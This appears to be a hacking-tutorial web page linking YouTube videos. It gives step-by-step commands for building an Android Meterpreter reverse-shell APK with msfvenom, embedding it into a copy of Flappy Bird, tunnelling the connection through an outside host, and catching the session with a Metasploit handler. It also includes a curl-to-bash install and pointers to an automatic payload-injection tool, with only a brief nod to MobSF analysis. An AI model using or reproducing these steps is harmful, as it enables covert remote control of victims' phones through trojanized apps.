Welcome to InfoSecXplorer

Android Phone Vulnerabilities: How Hackers Gain Remote Control!

Check Playlist on YouTube

Setting Up Your Hacking Lab and Exploiting Android: Metasploit & Kage Tutorial

Check Tutorial on YouTube

Setup Hacking Lab

- Install Virtual Box [Click Here]
- Install OS in VB (Linux - Ubuntu, Kali, Parrot) [Kali Linux] [Parrot OS]
- Install Metasploit Framwork (Pre Installed in Kali and Parrot)
  - sudo apt update && sudo apt upgrade
  - sudo apt-get install metasploit-framework
  - msfconsole

Create Android Payload

To Start Listening :-

- msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=9878 -o andro.apk
- msfconsole
  - use exploit/multi/handler
  - set payload android/meterpreter/reverse_tcp
  - set LHOST 192.168.0.3
  - set LPORT 9878
  - exploit
- Transfer APK to android and Install andro.apk (Bot Android phone and Linux System should be in same network).

KAGE Tool (Metasploit GUI Application)

Download Link

---

chmod +x Kage.0.1.1-beta_linux.AppImage

sudo ./Kage.0.1.1-beta_linux.AppImage

Advanced Android Hacking: Embedding Payloads into Original APKs | Malware Analysis Tool

Check Tutorial on YouTube

Prerequisites

Install Some Dependencies:

Download Original APK - Flappy Bird

Download ApkTool

apt-get install openjdk-11-jdk

update-alternatives --config java

apt-get install -y zipalign

sudo apt-get -y install apksigner

Setup Tunneling with Telebit

Telebit Website: [Click Here]

Commands Given on Website Documentation:

```
curl https://get.telebit.io/ | bash
```

Confirm your Email [You can Use Temp Mail [URL] for Account Creation

Embed Payload in Original APK

- ~/telebit tcp 7898
  - Output: > Forwarding telebit.cloud:5258 => localhost:7898
- msfvenom -x flappy-bird.apk -p android/meterpreter/reverse_tcp LHOST=telebit.cloud LPORT=5258 -o mod_bird.apk

Start Listening:

- msfconsole
  - use exploit/multi/handler
  - set payload android/meterpreter/reverse_tcp
  - set LHOST 0.0.0.0
  - set LPORT 7898
  - exploit

Malware Analysis Tool

Docker Installation:

Mobile-Security-Framework-MobSF - GitHub

docker pull opensecurity/mobile-security-framework-mobsf:latest

docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest

Now Open your browser and type “localhost:8000”

Automatic APK Payload Injection with Evil Droid: A Comprehensive Guide

Check Tutorial on YouTube

Download Evil Droid: GitHub

Have fun! 🎉